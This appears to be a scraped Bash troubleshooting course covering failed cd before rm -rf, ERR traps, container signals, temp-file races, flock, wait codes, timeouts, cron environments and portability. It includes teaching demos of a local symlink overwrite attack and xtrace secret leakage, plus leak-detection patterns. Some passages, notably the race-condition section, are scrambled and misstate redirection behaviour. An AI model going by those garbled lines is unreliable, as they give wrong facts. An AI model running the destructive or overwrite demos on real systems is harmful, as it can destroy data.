shellcheck clean.sh # SC2164: Use 'cd ... || exit' or 'cd ... || return' in case cd fails.
cd -- "${BUILD_DIR:?}" || exit 1
rm -rf -- ./* # the ./ prefix stops names like -rf from being taken as options (#50)
rm -rf -- "${BUILD_DIR:?}"/* # better: do not cd at all; use absolute paths
( cd -- "$dir" || exit 1; tar czf "$out" . ) # use a subshell when you must run in a directory, so later commands are unaffected
cd Always write it as cd … || exit (inside functions || return); make ShellCheck SC2164 a must-pass.${var:?} (#2), and do not depend on the current directory.~/bashlab/lab8/pb31-cd-fail.shcd ~/bashlab/lab8/sandbox || exit 1 touch precious.txt cd ./build-not-there echo rm -rf ./* # preview only: would delete precious.txt in the sandbox # fix: cd ./build-not-there || exit 1
$ bash -c 'set -e; trap "echo ERR at \$LINENO" ERR; f(){ false; }; f'; echo "rc=$?"
rc=1 # no ERR output at all
$ bash -c 'set -eE -o pipefail; trap '\''echo "ERR: line $LINENO: $BASH_COMMAND (rc=$?)" >&2'\'' ERR; f(){ cp /nonexist /tmp/x; }; f'
cp: cannot stat '/nonexist': No such file or directory
ERR: line 1: cp /nonexist /tmp/x (rc=1)
Symptom:trap 'log::error "failed at line $LINENO"' ERR Never seen in CI logs; a failure gives only an exit code, with no idea which line.
Root cause: The ERR trap is not inherited by functions, command substitutions or subshells by default; it needs set -E (errtrace); the DEBUG/RETURN traps need set -T. The ERR trap's exceptions are the same as those of set -e (if if conditions etc. do not trigger it).
set -o | grep -E 'errtrace|errexit|pipefail' trap -p ERR
set -Eeuo pipefail
on_err() {
local rc=$? cmd=$BASH_COMMAND
printf 'ERROR rc=%s at %s:%s in %s(): %s\n' "$rc" "${BASH_SOURCE[1]}" "${BASH_LINENO[0]}" "${FUNCNAME[1]:-main}" "$cmd" >&2
}
trap on_err ERR
set -Eeuo pipefail + trap on_err ERR + trap cleanup EXIT (Lesson 4 Module 2).$? first, otherwise commands inside the trap overwrite it (#18).~/bashlab/lab8/pb32-errtrace.sh#!/usr/bin/env bash
set -e # change to set -eE to see ERR output
trap 'echo "ERR at line $LINENO: $BASH_COMMAND" >&2' ERR
f(){ false; }
f
$ docker run -d --name b8pid1 bash:5.3 bash -c 'sleep 300; echo done'
$ docker stop b8pid1; docker inspect -f 'exit={{.State.ExitCode}}' b8pid1
exit=137 # bash as PID 1 did not handle SIGTERM; after the grace period it was killed with SIGKILL (OOMKilled=false)
$ docker run -d --name b8pid2 bash:5.3 bash -c 'trap "echo got TERM; exit 143" TERM; sleep 300 & wait $!'
$ docker stop b8pid2; docker inspect -f 'exit={{.State.ExitCode}}' b8pid2; docker logs b8pid2
exit=143
got TERM
$ bash -c 'sleep 30 & echo "child=$!"; kill -TERM $$'; pgrep -fa 'sleep 30'
child=22413
Terminated
22413 sleep 30 # the parent script died, but the background child is still running
Symptom:① the container's Bash entrypoint does not respond to docker stop / Kubernetes rolling updates; after the grace period (Docker 10 seconds, Kubernetes 30 seconds) it is force-killed (137) and files being written are corrupted; ② after Ctrl-C or SIGTERM, /tmp leaves temp and lock files behind, and background sleep/tail -f/ child tasks become orphans.
Root cause: The kernel does not deliver default-action signals to PID 1 (unless a handler is installed), so the bash running as PID 1 ignores SIGTERM; while a foreground command runs, bash waits for it to finish before running the trap for a signal it received (hence use cmd & wait $!); the script exiting does not kill background child processes; SIGKILL (9) cannot be caught.
docker inspect -f '{{.State.ExitCode}} {{.State.OOMKilled}}' NAME # 137 + OOMKilled=false → force-killed after the stop timeout
ps -o pid,ppid,pgid,cmd -g "$(ps -o pgid= $$)" # list child processes in the same process group
kill -l 143; kill -l 137 # TERM / KILL
cleanup() { local rc=$?; kill $(jobs -p) 2>/dev/null; rm -rf -- "$tmpdir"; exit "$rc"; }
trap cleanup EXIT
trap 'exit 143' TERM; trap 'exit 130' INT # let signals take the normal EXIT path
tmpdir=$(mktemp -d)
long_task & wait $! # foreground wait, interruptible by signals
exec "$@" # container entrypoint: after setup, exec the main process so it becomes PID 1
exec, or docker run --init / tini as PID 1; in Kubernetes, configure preStop and a reasonable terminationGracePeriodSeconds.trap cleanup EXIT before creating temp resources; cleanup must be idempotent.~/bashlab/lab8/pb33-signals.sh#!/usr/bin/env bash tmp=$(mktemp -d); echo "tmp=$tmp" trap 'echo "cleanup $tmp"; rm -rf -- "$tmp"; kill $(jobs -p) 2>/dev/null' EXIT # comment out this line to compare sleep 300 & wait $! # in another terminal: kill -TERM <script PID>, then check whether $tmp and sleep remain
See Lesson 4 Module 2 trap: EXIT, ERR, INT and cleanup,Docker 8 hours (PID 1 and signals).
$ ln -sf /tmp/victim.txt /tmp/report.txt; echo "secret data" > /tmp/victim.txt $ echo "report" > /tmp/report.txt; cat /tmp/victim.txt report # the write followed a symlink and overwrote the target file $ set -o noclobber; echo a > r.txt; echo b > r.txt bash: line 1: r.txt: cannot overwrite existing file
Symptom:① concurrent jobs (overlapping cron #35, parallel CI jobs, multiple users) write the same /tmp/report.txt or /tmp/app.$$ (PIDs get reused), overwriting each other and reading half-written content; ② an attacker pre-creates a symlink with the same name pointing to /etc/… or a victim's file, and the root script writes through it (classic symlink attack). fs.protected_symlinks=1 This only restricts following other users' links in world-writable sticky directories; it does not protect against the same user or non-sticky directories.
Root cause:"check that it does not exist → create" is not atomic; > follows the symlink and truncates the original file. mktemp Using O_CREAT|O_EXCL, 0600 to create files with random names avoids both.
grep -nE '/tmp/[A-Za-z_.-]+(\$\$)?' *.sh # find hardcoded temp file names sysctl fs.protected_symlinks fs.protected_regular
tmpdir=$(mktemp -d "${TMPDIR:-/tmp}/opsctl.XXXXXX") # private directory with mode 0700
trap 'rm -rf -- "$tmpdir"' EXIT
out="$tmpdir/report.txt"
generate > "$out" && mv -- "$out" /var/lib/opsctl/report.txt # rename within the same filesystem is atomic
$ d=$(mktemp -d); ls -ld "$d" | cut -c1-10 drwx------
/tmp/fixed-name; give each script one mktemp -d for intermediate files, and delete the whole thing on EXIT.PrivateTmp=yes; keep cross-run state in /var/lib/<app> (StateDirectory=), not /tmp.mv atomically, so readers never see a half-written file.~/bashlab/lab8/pb34-tmpfile.shcd ~/bashlab/lab8/sandbox || exit 1 echo "secret" > victim.txt; ln -sf victim.txt report.txt echo "report" > report.txt; cat victim.txt # victim has been overwritten t=$(mktemp ./report.XXXXXX) && echo "report" > "$t" && ls -l "$t"
$ ( flock -n 9 || exit 1; sleep 2 ) 9>job.lock &
$ ( flock -n 9 || { echo "another run holds the lock, skip"; exit 0; }; echo "got lock" ) 9>job.lock
another run holds the lock, skip
$ flock -n job.lock true; echo "flock -n rc=$?"
flock -n rc=1
Symptom: When run time exceeds the cron interval, a new instance starts before the previous one finishes, and both rsync/ write the same output / call the same API: duplicate processing, corrupt files, API rate limiting, even an avalanche (the slower it gets, the more pile up).
Root cause: cron only starts jobs on schedule and does not care whether the previous run has ended. [ -f /tmp/job.pid ] A homemade lock has a race (check and create are not atomic); after SIGKILL the lock file remains and the job never runs again. flock(2) The lock belongs to the kernel: it is released when the fd closes (including when the process is killed).
pgrep -fa sync.sh # how many instances are running at once grep CRON /var/log/syslog | tail; journalctl -u cron --since -1h # start times and frequency (varies by distro; follow the actual output) lslocks | grep job.lock # who holds the lock (util-linux)
exec 9>"/run/lock/opsctl-sync.lock" # or /var/lock, $XDG_RUNTIME_DIR
flock -n 9 || { log::warn "previous run still active, skip"; exit 0; }
# wrap it directly in the crontab:
0 * * * * flock -n /run/lock/opsctl-backup.lock /opt/opsctl/bin/opsctl backup /srv/data >>/var/log/opsctl/backup.log 2>&1
flock -n; when skipping, log and record a metric, and alert on anomalies..service is not started again while it is running; you can set RuntimeMaxSec= (Lesson 6 Module 6).flock this only works on a single machine; on NFS, follow the actual behavior.~/bashlab/lab8/pb35-overlap.sh#!/usr/bin/env bash
exec 9>/tmp/pb35.lock
flock -n 9 || { echo "$$: skip, another run active"; exit 0; }
echo "$$: running"; sleep 5
# run in two terminals at nearly the same time: the second prints skip
See Lesson 4 Module 4: Concurrency and locks,Lesson 6 Module 6: cron and systemd timers.
$ (exit 3) & wait; echo "wait-all rc=$?" wait-all rc=0 $ (exit 3) & p=$!; wait $p; echo "wait pid rc=$?" wait pid rc=3 $ sleep 0.2 & (exit 4) & wait -n; echo "first rc=$?" first rc=4
Symptom:for h in "${hosts[@]}"; do deploy "$h" & done; wait Some hosts fail yet it reports “all succeeded”,set -e either.
Root cause: A background job's exit code can only be obtained via wait PID ; with no arguments, wait waits for all child processes and returns 0 (Bash manual: returns 0 when no ID is specified). & itself always exits with 0, so set -e is ineffective.
jobs -l # currently running background jobs bash -x deploy-all.sh 2>&1 | grep -E '^\+ (wait|deploy)'
declare -A pids=()
for h in "${hosts[@]}"; do deploy "$h" >"$logdir/$h.log" 2>&1 & pids[$h]=$!; done
failed=()
for h in "${!pids[@]}"; do wait "${pids[$h]}" || failed+=("$h"); done
(( ${#failed[@]} == 0 )) || { log::error "failed: ${failed[*]}"; exit 1; }
xargs -P, GNU parallel --halt soon,fail=1, or a token pool in Bash 4.3+ wait -n (Lesson 6 Module 3).~/bashlab/lab8/pb36-wait.shfor rc in 0 3 0 5; do (sleep 0.1; exit $rc) & done
wait; echo "wait-all rc=$?" # 0 (bug)
pids=(); for rc in 0 3 0 5; do (sleep 0.1; exit $rc) & pids+=($!); done
f=0; for p in "${pids[@]}"; do wait "$p" || f=$((f+1)); done; echo "failed=$f" # failed=2
See Lesson 6 Module 3: Batch operations: parallel execution.
$ echo 0 > cnt; for i in $(seq 1 200); do ( n=$(cat cnt); echo $((n+1)) > cnt ) & done; wait; echo "cnt=$(cat cnt)" cnt=3 $ for i in 1 2 3 4; do ( for j in $(seq 1 2000); do printf 'worker%s line %s\n' "$i" "$j" >> out.log; done ) & done; wait; wc -l < out.log 8000 # small appends (O_APPEND) did not lose anything
Symptom: Counters, state files and JSON manifests shared by parallel tasks lose updates or end up incomplete; > shared logs written by multiple processes overwrite each other; tee,sed -i and
modifying the same file concurrently corrupts it. Root cause: > “read → compute → write back” is not atomic, so the later write overwrites the earlier one (lost update); >> truncates first. O_APPEND Opening with write opens the file, and each PIPE_BUF appends to the end; a single small write on a local filesystem does not interleave, but splitting a line into several writes, or writing to a pipe beyond
Diagnostic command lsof cnt 2>/dev/null; fuser -v cnt # who else has the file open
Fix
exec {fd}>>cnt.lock; flock "$fd"
n=$(cat cnt); echo $((n+1)) > cnt
exec {fd}>&-
}
incr() { # protect the critical section with flock
task "$h" > "$outdir/$h.result"; …; cat "$outdir"/*.result | awk '{s+=$1} END{print s}'
> Write logs to stderr and let journald / the container runtime collect them, or use one file per process; do not let multiple processes write~/bashlab/lab8/pb37-race.shcd ~/bashlab/lab8/sandbox || exit 1 echo 0 > cnt for i in $(seq 1 200); do ( n=$(cat cnt); echo $((n+1)) > cnt ) & done; wait Minimal reproduction
echo "without lock: $(cat cnt)" # far below 200; with flock it is 200 SeeLesson 4 Module 4: Concurrency and locks
$ f(){ sleep 1; }; timeout 1 f; echo "rc=$?"
timeout: failed to run command ‘f’: No such file or directory
rc=127
$ timeout 2 bash -c 'sleep 10'; echo "rc=$?"
rc=124
$ timeout -k 1 1 bash -c 'trap "" TERM; sleep 10'; echo "rc=$?"
… Killed timeout -k 1 1 bash -c 'trap "" TERM; sleep 10'
rc=137
Verified (GNU coreutils 9.4 · Bash 5.2.21) Symptom: curl① a pipeline hangs waiting on ssh,kubectl rollout status,az … --no-wait , and the CI job is killed after 6 hours; ② calling a function with timeout reports “failed to run command”, exit code 127; ③ a command ignores timeout SIGTERM and does not exit.
Root cause: Many clients have no overall timeout by default (curl only has a default limit for the connect phase). timeout is an external program, invoked via execvp runs it, so functions and aliases are not visible; timeout sends SIGTERM by default and returns 124 on timeout; -k after the grace period it sends SIGKILL (137).
ps -o pid,etime,cmd --ppid $$ # which child process has been running for how long strace -p PID -e trace=network,poll # which step it is stuck at: connect / poll / read
curl -fsS --connect-timeout 5 --max-time 30 --retry 3 --retry-max-time 60 "$url" ssh -o ConnectTimeout=5 -o ServerAliveInterval=10 -o BatchMode=yes "$h" uptime timeout -k 10 300 kubectl rollout status deploy/web export -f deploy_one; timeout 120 bash -c 'deploy_one "$1"' _ "$h" # the function must be exported with export -f before running it in a child bash
timeout-minutes, systemd RuntimeMaxSec=).~/bashlab/lab8/pb38-timeout.shf(){ sleep 3; }
timeout 1 f; echo "func rc=$?" # 127
export -f f; timeout 1 bash -c f; echo "export -f rc=$?" # 124
See Lesson 4 Module 6: Retries, backoff and timeouts,Lesson 6 Module 1: curl.
Choose a snippet, first decide whether the script will exit at the failure and what it will print last, then click “Run” to compare with the real output and explanation from Bash 5.3.20 / 5.2.21.
flock, coreutils timeout; source ~/bashlab/lab8/lab8.sh && l8_sandbox.cat > e.sh <<'EOF'
set -e
deploy(){ cp /nonexist /tmp/x; echo "deploy continued"; }
if deploy; then echo "deploy reported success"; fi
f(){ local v=$(false); echo "local masked failure"; }; f
i=0; ((i++)); echo "not reached"
EOF
bash e.sh; echo "rc=$?"cp: cannot stat '/nonexist': No such file or directory deploy continued deploy reported success local masked failure rc=1
shellcheck e.sh | grep -oE 'SC[0-9]+' | sort -u
SC2155
ShellCheck can only detect local masking; the other two are semantic issues that need review and tests (Lesson 7 bats).
bash -c 'set -e; (echo "dump failed" >&2; exit 2) | gzip > db.gz; echo "ok size=$(wc -c < db.gz)"'
bash -c 'set -eo pipefail; (echo "dump failed" >&2; exit 2) | gzip > db.gz; echo ok'; echo "rc=$?"
bash -c 'set -o pipefail; seq 1 100000 | head -1 >/dev/null; echo "rc=$? ps=${PIPESTATUS[*]}"'dump failed ok size=20 dump failed rc=2 rc=141 ps=141 0
cat > job.sh <<'EOF'
#!/usr/bin/env bash
set -Eeuo pipefail
exec 9>/tmp/lab8-job.lock
flock -n 9 || { echo "$$ skip: another run active"; exit 0; }
tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"; echo "$$ cleaned $tmp"' EXIT
echo "$$ working in $tmp"; sleep 3
EOF
chmod +x job.sh; ./job.sh & sleep 0.5; ./job.sh; wait4101 working in /tmp/tmp.Xa81kQ 4108 skip: another run active 4101 cleaned /tmp/tmp.Xa81kQ
pids=(); for rc in 0 3 0 5; do (sleep 0.1; exit $rc) & pids+=($!); done
f=0; for p in "${pids[@]}"; do wait "$p" || f=$((f+1)); done; echo "failed=$f"failed=2
rm -f /tmp/lab8-job.lock; l8_clean
No verified video was found that specifically covers SIGPIPE 141,wait return values and container PID 1 signals. Storyboard:
dump | gzip outputs a 20-byte file and exits with 0; echo ${PIPESTATUS[@]} shows 2 0; add pipefail.seq | head -1 returns 141; kill -l 13 → PIPE; demonstrate the pattern that tolerates only 141.docker stop A bash-entry container exits with 137; adding trap … TERM and wait $! gives 143 and prints the cleanup log.sh and dash, macOS Bash 3.2, non-interactive shells,sudo and redirection, script paths, execute bits, xtrace leaking secrets, exit code range, GNU / BSD / BusyBox, export, option injection~/.bashrc, whether there is a TTY, what stdin is,/bin/sh who runs it, and whether the tools are GNU or BusyBox.sh (arrays,[[ ]],source,function,echo -e,$'…',local), and verify with dash / checkbashisms / ShellCheck's SC3xxx rules.set -x turn off sensitive-variable tracing beforehand, prefix glob arguments with ./ or --.Enter keywords (e.g. cron,not found,Syntax error,3.2,alias,sudo,source,126,secret,BusyBox,export,tar) to filter; click a row to jump to the details.
$ env -i HOME=/root LOGNAME=root SHELL=/bin/sh PATH=/usr/bin:/bin /bin/sh -c 'mytool --version' /bin/sh: 1: mytool: not found $ env -i /bin/sh -c 'jq . </dev/null' /bin/sh: jq: not found
Symptom: The terminal works; after entering crontab, these cannot be found: /usr/local/bin,~/.local/bin,/snap/bin, nvm/pyenv/conda commands; aws/az the config cannot be read (HOME / profile differs); sorting and formatting change (locale is C, #20); a line in date +%Y%m%d is truncated (the % means newline); output is mailed locally, and without an MTA you cannot see it.
Root cause: cron starts with a minimal environment: SHELL=/bin/sh, a short PATH (on Debian/Ubuntu the default /usr/bin:/bin, follow the actual output), and it does not read profile / bashrc; crontab lines are interpreted by /bin/sh (dash on Ubuntu). systemd and CI runners work the same way: the environment is defined by the unit file or runner.
* * * * * env > /tmp/cron-env.txt 2>&1 # temporarily add a line to see the real cron environment; delete it afterwards diff <(env | sort) <(sort /tmp/cron-env.txt) source ~/bashlab/lab8/lab8.sh; l8_cronlike ./myjob.sh # reproduce with a minimal environment
# crontab: set variables explicitly, use absolute paths, log output, escape %
SHELL=/bin/bash
PATH=/usr/local/bin:/usr/bin:/bin
CRON_TZ=UTC
*/5 * * * * /opt/opsctl/bin/opsctl health https://app.example.com/healthz >>/var/log/opsctl/health.log 2>&1
0 2 * * * /opt/opsctl/bin/backup.sh "$(date +\%F)" >>/var/log/opsctl/backup.log 2>&1
# set the required environment inside the script; do not depend on the caller
export PATH=/usr/local/bin:/usr/bin:/bin LC_ALL=C.UTF-8
command -v jq >/dev/null || { echo "jq not installed" >&2; exit 3; } # opsctl convention: 3 = missing dependency
util::require_cmd check dependencies (Lesson 3 opsctl).OnFailure=), environment declared in the unit file,systemd-run can be reproduced manually (Lesson 6 Module 6).~/bashlab/lab8/pb39-cronenv.sh#!/usr/bin/env bash echo "PATH=$PATH"; command -v jq || echo "jq not in PATH" # run: source ~/bashlab/lab8/lab8.sh; l8_cronlike ~/bashlab/lab8/pb39-cronenv.sh
See Lesson 6 Module 6: Scheduled execution: cron and systemd timers,Lesson 1 Module 7: Environment.
$ sh b.sh # arr=(a b)
b.sh: 1: Syntax error: "(" unexpected
$ sh c.sh # [[ 1 == 1 ]] && echo ok
c.sh: 1: [[: not found
$ sh d.sh # echo -e "a\tb"; source ./x.sh
-e a b
d.sh: 2: source: not found
$ sh e.sh # function f { echo hi; }
e.sh: 1: Syntax error: "}" unexpected
Symptom:sh deploy.sh Works on macOS (/bin/sh is POSIX-mode Bash), on CentOS/RHEL (/bin/sh is Bash) works; Ubuntu/Debian (dash) and Alpine (BusyBox ash) give syntax errors; Dockerfile RUN, Makefile recipes, crontab,system() also use /bin/sh. The most insidious case is echo -e: no error, while -e are printed together.
Root cause:sh script.sh ignores the shebang and is run with sh ; dash is strictly POSIX, with no arrays,[[ ]],source,function keywords,[ in ==,$'…' (newer dash supports it, follow the actual output),{a..z},<<<,<( ),pipefail (dash 0.5.13+ supports it, follow the actual output).
head -1 deploy.sh; readlink -f /bin/sh shellcheck -s sh deploy.sh | grep -oE 'SC3[0-9]+' | sort | uniq -c # SC3010 [[ ]], SC3030 arrays, SC3046 source, SC3037 echo options… checkbashisms deploy.sh # provided by Debian devscripts
./deploy.sh # makes the shebang take effect (requires the execute bit, #45)
bash deploy.sh # or invoke bash explicitly
SHELL ["/bin/bash", "-o", "pipefail", "-c"] # Dockerfile: changes the shell used by subsequent RUN steps
# when POSIX sh is really required: [ "$a" = "$b" ], . ./x.sh, printf '%s\t%s\n' a b, f() { …; }
#!/usr/bin/env bash (recommended), or #!/bin/sh and test with dash,shellcheck -s sh in CI. Do not write “Bash that behaves like sh”../deploy.sh or bash deploy.sh, do not write sh deploy.sh.~/bashlab/lab8/pb40-bashisms.sh#!/usr/bin/env bash
arr=(a b); [[ ${arr[1]} == b ]] && echo "bash ok"
# bash pb40-bashisms.sh works; sh pb40-bashisms.sh gives a Syntax error on Ubuntu
# or: source ~/bashlab/lab8/lab8.sh; l8_shells pb40-bashisms.sh
See Lesson 7 Module 6 Portability: POSIX sh, dash, macOS Bash 3.2 and BusyBox.
t9.sh: line 2: declare: -A: invalid option
declare: usage: declare [-afFirtx] [-p] [name[=value] ...]
t9.sh: line 3: mapfile: command not found
t9.sh: line 4: ${x,,}: bad substitution
t9.sh: line 5: arr[@]: unbound variable # iterating over an empty array under set -u
Symptom: A deployment/bootstrap script fails on a Mac while it works on Linux and CI; or #!/bin/bash the script fails,bash script.sh (with a newer Homebrew Bash ahead in PATH) it works.
Root cause: macOS's /bin/bash is stuck at 3.2 (GPLv3, so it is no longer updated; the default interactive shell is already zsh). Bash 3.2 lacks: associative arrays declare -A,mapfile/readarray,${x,,} ${x^^},;& / ;;&,|&,coproc,{fd}> automatic allocation, negative subscripts,wait -n, nameref (declare -n, 4.3),${var@Q} (4.4); set -u an empty array under set -u errors (fixed in 4.4).
head -1 script.sh; which -a bash; /bin/bash --version | head -1; bash --version | head -1
echo "$BASH_VERSION"; echo "${BASH_VERSINFO[0]}"
#!/usr/bin/env bash # use the bash on PATH (Homebrew: /opt/homebrew/bin/bash)
if (( BASH_VERSINFO[0] < 4 )); then
echo "Requires Bash ≥ 4 (current $BASH_VERSION). macOS: brew install bash" >&2; exit 3
fi
for x in ${arr[@]+"${arr[@]}"}; do :; done # iterate over a possibly empty array when 3.2 compatibility is required
BASH_VERSINFO .bash:3.2 containers or a macOS runner to the CI matrix (Lesson 7 Module 6).~/bashlab/lab8/pb41-bash32.shecho "$BASH_VERSION"
declare -A m=([k]=v) && echo "assoc ok"
x=ABC; echo "${x,,}"
# run: docker run --rm -v "$PWD":/w -w /w bash:3.2 bash pb41-bash32.sh
See Lesson 7 Module 6 Portability,Lesson 2 Module 3: Associative arrays.
$ cat al.sh alias ll="ls -l" ll /tmp >/dev/null $ bash al.sh; echo "rc=$?" al.sh: line 2: ll: command not found rc=127
Symptom: Aliases in the terminal such as k get pods (alias k=kubectl),node (nvm),python (pyenv shim), and custom functions are "not found" in scripts, cron, CI,ssh host 'cmd' and source ~/.bashrc the workaround starts with [ -z "$PS1" ] && return , which loads nothing.
Root cause:① a non-interactive shell turns off expand_aliases by default, and aliases are expanded when a line is read, so an alias defined on the same line or in a compound command has no effect; ② non-interactive Bash does not read ~/.bashrc or profile; it only reads BASH_ENV the file pointed to by (ssh host cmd exception, which may read .bashrc, follow the actual output).
bash -c 'shopt expand_aliases; echo "$-"' # expand_aliases is off; no i in $- type k node python
kubectl get pods # write the full command in the script
k() { kubectl "$@"; } # use a function when a shorthand is needed
export PATH="$HOME/.nvm/versions/node/v24/bin:$PATH" # set the tool path explicitly (the version number is an example) or use an absolute path
mise,asdf declaration (follow the team's choice).~/bashlab/lab8/pb42-alias.shalias ll="ls -l"
ll /tmp >/dev/null; echo "alias rc=$?" # 127
ll() { ls -l "$@"; }; ll /tmp >/dev/null; echo "function rc=$?"
See Lesson 1 Module 1: Startup files,Lesson 1 Module 2: Aliases and functions.
$ echo hi > /etc/motd bash: line 1: /etc/motd: Permission denied $ sudo echo "vm.swappiness=10" > /etc/sysctl.d/99-app.conf # same error (illustrative) bash: /etc/sysctl.d/99-app.conf: Permission denied
Symptom:sudo echo … > /etc/…,sudo cat a >> /etc/hosts reports Permission denied; sudo cd /root reports sudo: cd: command not found (follow the actual output).
Root cause: The redirection is opened by the current shell (a normal user) before sudo starts; sudo sudo only elevates the command that follows it. cd is a builtin, so sudo cannot run it.
shellcheck setup.sh # SC2024: sudo doesn't affect redirects. Use ..| sudo tee file
echo "vm.swappiness=10" | sudo tee /etc/sysctl.d/99-app.conf >/dev/null printf '%s\n' "10.0.0.5 db.internal" | sudo tee -a /etc/hosts >/dev/null sudo install -m 0644 -o root -g root ./app.conf /etc/app/app.conf # install the whole file: set permissions in one step sudo sh -c 'cd /root && ls' # when multiple commands are needed (watch for #11 injection)
install or a template + atomic mv, not echo >> (repeated runs append repeatedly and are not idempotent).lineinfile/template).~/bashlab/lab8/pb43-sudo-redirect.shsudo echo test > /etc/lab8-test.conf || echo "redirect failed as expected" echo test | sudo tee /etc/lab8-test.conf >/dev/null && cat /etc/lab8-test.conf sudo rm -f /etc/lab8-test.conf
$ cd proj && bash run.sh # run from the script's directory: works lib loaded $ cd .. && bash proj/run.sh # run from elsewhere proj/run.sh: line 1: lib/log.sh: No such file or directory
Symptom: It works in the project directory; when cron, systemd, CI or another script calls it from elsewhere,source lib/…, read ./config.yaml, write ./out/ all point to the wrong place. When source is used, $0 the directory it computes is also wrong ($0 is the caller).
Root cause: A relative path is resolved against the current working directory, not the script's directory. $0 is the name of the program being executed; when sourced, it is the name of the parent shell; ${BASH_SOURCE[0]} is the current file.
printf 'PWD=%s\n$0=%s\nBASH_SOURCE=%s\n' "$PWD" "$0" "${BASH_SOURCE[0]}"
#!/usr/bin/env bash
set -Eeuo pipefail
SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
source "$SCRIPT_DIR/../lib/log.sh"
config=${OPSCTL_CONFIG:-$SCRIPT_DIR/../etc/opsctl.conf}
bin/opsctl does exactly this positioning lib/,etc/ (Lesson 3 Module 4); when a symlink is installed into /usr/local/bin you need readlink -f (GNU) to resolve the real path; older BSD/macOS does not support it -f (#48).source -p PATH and bash_source_fullpath options that save boilerplate; for older versions, keep the approach above.~/bashlab/lab8/pb44-source-path.shcd ~/bashlab/lab8/sandbox || exit 1
mkdir -p proj/lib && echo 'echo lib loaded' > proj/lib/log.sh
printf 'source lib/log.sh\n' > proj/run.sh
bash proj/run.sh # fails; change to source "$(dirname "${BASH_SOURCE[0]}")/lib/log.sh"
See Lesson 3 Module 4 Modularity: source, library files and naming conventions.
$ bash -c './noexec.sh'; echo "rc=$?" bash: line 1: ./noexec.sh: Permission denied rc=126
Linux / macOS unspecified bash -e {0}
All bash bash --noprofile --norc -eo pipefail {0}
Symptom:① Windows commits, or packaging tools (zip, some artifact repositories), drop the execute bit, so in CI ./deploy.sh exits with 126; ② in GitHub Actions run: curl … | tar xz a failed download still shows green, because shell: bash was not set; by default bash -e {0} has no pipefail; ③ GitLab CI and similar run sh or the image's default shell runs script:, and Bash syntax errors appear (#40).
Root cause: Git records only 100755/100644, the Windows file system has no execute bit, so it must be set explicitly; each CI platform defines its own shell and options.
git ls-files -s deploy.sh # 100644 = no execute bit
ls -l deploy.sh; head -1 deploy.sh
echo "$0 $-; BASH_VERSION=${BASH_VERSION:-none}; pipefail=$(set -o | awk '/pipefail/{print $2}')" # print the actual shell in a CI step
git update-index --chmod=+x deploy.sh && git commit -m "make deploy.sh executable"
# GitHub Actions: unify the shell at workflow level
defaults:
run:
shell: bash # internal command is bash --noprofile --norc -eo pipefail {0}
# or only call the script file, so its own set -Eeuo pipefail takes effect
- run: ./scripts/deploy.sh
git ls-files -s '*.sh' | awk '$1 != "100755"' any output means failure.~/bashlab/lab8/pb45-ci-exec.shcd ~/bashlab/lab8/sandbox || exit 1 printf '#!/usr/bin/env bash\necho deployed\n' > deploy.sh ./deploy.sh; echo "rc=$?" # 126 bash -e -c 'false | true; echo "bash -e: pipeline failure ignored"'
See Lesson 6 Module 7: Running scripts in CI,GitHub 8 hours,GitLab 8 hours.
$ bash -xc 'TOKEN=s3cr3t; curl_args="-H Authorization:$TOKEN"; : $curl_args' + TOKEN=s3cr3t + curl_args='-H Authorization:s3cr3t' + : -H Authorization:s3cr3t
Symptom: When investigating a CI job with set -x on (or DEBUG=1), secrets, tokens and database passwords go into the build log in plain text; the platform masks only known literal values, so concatenation, base64 or URL-encoding defeats the masking. Similar: curl -v,env/printenv, the full command line echoed on error,ps and visible arguments.
Root cause: xtrace prints the expanded command, including the real values of variables; command-line arguments can be seen by other users on the same host via /proc/PID/cmdline a process listing.
grep -nE 'set -x|bash -x|curl -v|printenv|env$' .github/workflows/*.yml scripts/*.sh gitleaks detect --source . 2>/dev/null || trufflehog filesystem . 2>/dev/null # scan the repository and logs (choice of tools is up to the team)
{ set +x; } 2>/dev/null # silently turn off xtrace before handling secrets
token=$(cat "$TOKEN_FILE")
curl -fsS -H @- "$url" <<<"Authorization: Bearer $token" # curl 7.55+: read the request header from stdin, so it does not appear on the command line
[[ ${DEBUG:-} ]] && set -x # restore later as needed
export BASH_XTRACEFD=9; exec 9>>"$tmpdir/trace.log" # or write xtrace to a controlled file (Bash 4.1+)
unset.::add-mask::).~/bashlab/lab8/pb46-xtrace-leak.sh#!/usr/bin/env bash
set -x
TOKEN=s3cr3t-demo; echo "calling API" # the plaintext appears in the log
{ set +x; } 2>/dev/null; TOKEN2=s3cr3t-demo2; echo "calling API quietly"
See Lesson 7 Module 1 Debugging: set -x, PS4, BASH_XTRACEFD,Lesson 4 Module 7 Security.
$ bash -c 'exit 256'; echo "rc=$?"
rc=0
$ bash -c 'exit 300'; echo "rc=$?"
rc=44
$ bash -c 'f(){ return 256; }; f; echo "rc=$?"; (exit -1); echo "rc=$?"'
rc=0
rc=255
Symptom: Returning the failure count via the exit code: at 256 failures it is 0, and CI passes; return $count anything above 255 wraps around; exit -1 gives 255, which is mistaken for a specific error.
Root cause: Only the low 8 bits (0–255) of the exit status are passed to the parent process,exit N i.e. N & 255,return the same applies. An exit code only conveys success or failure categories, not data.
grep -nE 'exit \$|return \$' *.sh # places where a variable is used as an exit code
count_errors() { grep -c ERROR "$1" || true; } # data goes to stdout
n=$(count_errors app.log)
(( n == 0 )) || { echo "found $n errors" >&2; exit 1; } # the exit code only conveys the category
declare -n, Lesson 3 Module 3).~/bashlab/lab8/pb47-exitcode.shfor n in 1 255 256 300; do bash -c "exit $n"; echo "exit $n -> $?"; done
See Lesson 3 Module 6 Exit code conventions,Lesson 3 Module 3 Output and return values.
$ date -v-1d # macOS syntax on GNU date: invalid option -- 'v' $ date -d '1 day ago' # GNU syntax on BusyBox date: invalid date '1 day ago' $ grep -P "a+" /dev/null # BusyBox grep has no PCRE grep: unrecognized option: P $ readlink -f /usr/bin/env; sed --version | head -1 /bin/busybox This is not GNU sed version 4.0
Symptom: Scripts written on Ubuntu fail on macOS, on Alpine (BusyBox) or on older distributions: date arithmetic,grep -P,sed -i (#24),stat -c (BSD uses stat -f),readlink -f,find -printf,xargs -r,sort -V,base64 -w0,mktemp template rules differ. Ubuntu 26.04's rust-coreutils edge-case options and error wording may also differ.
Root cause: POSIX only defines a common subset; GNU, BSD, BusyBox and uutils each extend it. Bash is consistent; the inconsistency is in external commands.
